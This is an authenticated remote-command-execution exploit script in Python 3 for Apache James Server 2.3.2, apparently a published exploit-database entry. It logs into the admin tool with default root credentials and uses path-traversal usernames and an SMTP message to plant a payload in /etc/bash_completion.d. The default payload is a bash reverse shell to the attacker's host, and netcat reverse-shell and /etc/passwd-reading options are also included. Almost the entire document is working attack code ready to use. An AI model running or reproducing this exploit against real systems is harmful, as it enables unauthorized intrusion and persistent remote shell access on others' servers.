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Apache James Server 2.3.2 - Remote Command Execution (RCE) (Authenticated) (2)

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# Exploit Title: Apache James Server 2.3.2 - Remote Command Execution (RCE) (Authenticated) (2)
# Date: 27/09/2021
# Exploit Author: shinris3n
# Vendor Homepage: http://james.apache.org/server/
# Software Link: http://ftp.ps.pl/pub/apache/james/server/apache-james-2.3.2.zip
# Version: Apache James Server 2.3.2
# Tested on: Ubuntu
# Info: This exploit works on default installation of Apache James Server 2.3.2
# Info: Example paths that will automatically execute payload on some action: /etc/bash_completion.d , /etc/pm/config.d

'''
This Python 3 implementation is based on the original (Python 2) exploit code developed by 
Jakub Palaczynski, Marcin Woloszyn, Maciej Grabiec.  The following modifications were made:

1 - Made required changes to print and socket commands for Python 3 compatibility.
1 - Changed the default payload to a basic bash reverse shell script and added a netcat option.
2 - Changed the command line syntax to allow user input of remote ip, local ip and listener port to correspond with #2.
3 - Added a payload that can be used for testing remote command execution and connectivity.
4 - Added payload and listener information output based on payload selection and user input.
5 - Added execution output clarifications and additional informational comments throughout the code.

@shinris3n
https://twitter.com/shinris3n
https://shinris3n.github.io/
'''

#!/usr/bin/python3

import socket
import sys
import time

# credentials to James Remote Administration Tool (Default - root/root)
user = 'root'
pwd = 'root'

if len(sys.argv) != 4:
    sys.stderr.write("[-]Usage: python3 %s <remote ip> <local ip> <local listener port>\n" % sys.argv[0])
    sys.stderr.write("[-]Example: python3 %s 172.16.1.66 172.16.1.139 443\n" % sys.argv[0])
    sys.stderr.write("[-]Note: The default payload is a basic bash reverse shell - check script for details and other options.\n")
    sys.exit(1)

remote_ip = sys.argv[1]
local_ip = sys.argv[2]
port = sys.argv[3]

# Select payload prior to running script - default is a reverse shell executed upon any user logging in (i.e. via SSH)
payload = '/bin/bash -i >& /dev/tcp/' + local_ip + '/' + port + ' 0>&1' # basic bash reverse shell exploit executes after user login
#payload = 'nc -e /bin/sh ' + local_ip + ' ' + port # basic netcat reverse shell
#payload = 'echo $USER && cat /etc/passwd && ping -c 4 ' + local_ip # test remote command execution capabilities and connectivity
#payload = '[ "$(id -u)" == "0" ] && touch /root/proof.txt' # proof of concept exploit on root user login only

print ("[+]Payload Selected (see script for more options): ", payload)
if '/bin/bash' in payload:
    print ("[+]Example netcat listener syntax to use after successful execution: nc -lvnp", port)


def recv(s):
        s.recv(1024)
        time.sleep(0.2)

try:
    print ("[+]Connecting to James Remote Administration Tool...")
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect((remote_ip,4555)) # Assumes James Remote Administration Tool is running on Port 4555, change if necessary.
    s.recv(1024)
    s.send((user + "\n").encode('utf-8'))
    s.recv(1024)
    s.send((pwd + "\n").encode('utf-8'))
    s.recv(1024)
    print ("[+]Creating user...")
    s.send("adduser ../../../../../../../../etc/bash_completion.d exploit\n".encode('utf-8'))
    s.recv(1024)
    s.send("quit\n".encode('utf-8'))
    s.close()

    print ("[+]Connecting to James SMTP server...")
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect((remote_ip,25)) # Assumes default SMTP port, change if necessary.
    s.send("ehlo team@team.pl\r\n".encode('utf-8'))
    recv(s)
    print ("[+]Sending payload...")
    s.send("mail from: <'@team.pl>\r\n".encode('utf-8'))
    recv(s)
    # also try s.send("rcpt to: <../../../../../../../../etc/bash_completion.d@hostname>\r\n".encode('utf-8')) if the recipient cannot be found
    s.send("rcpt to: <../../../../../../../../etc/bash_completion.d>\r\n".encode('utf-8'))
    recv(s)
    s.send("data\r\n".encode('utf-8'))
    recv(s)
    s.send("From: team@team.pl\r\n".encode('utf-8'))
    s.send("\r\n".encode('utf-8'))
    s.send("'\n".encode('utf-8'))
    s.send((payload + "\n").encode('utf-8'))
    s.send("\r\n.\r\n".encode('utf-8'))
    recv(s)
    s.send("quit\r\n".encode('utf-8'))
    recv(s)
    s.close()
    print ("[+]Done! Payload will be executed once somebody logs in (i.e. via SSH).")
    if '/bin/bash' in payload:
        print ("[+]Don't forget to start a listener on port", port, "before logging in!")
except:
    print ("Connection failed.")
            
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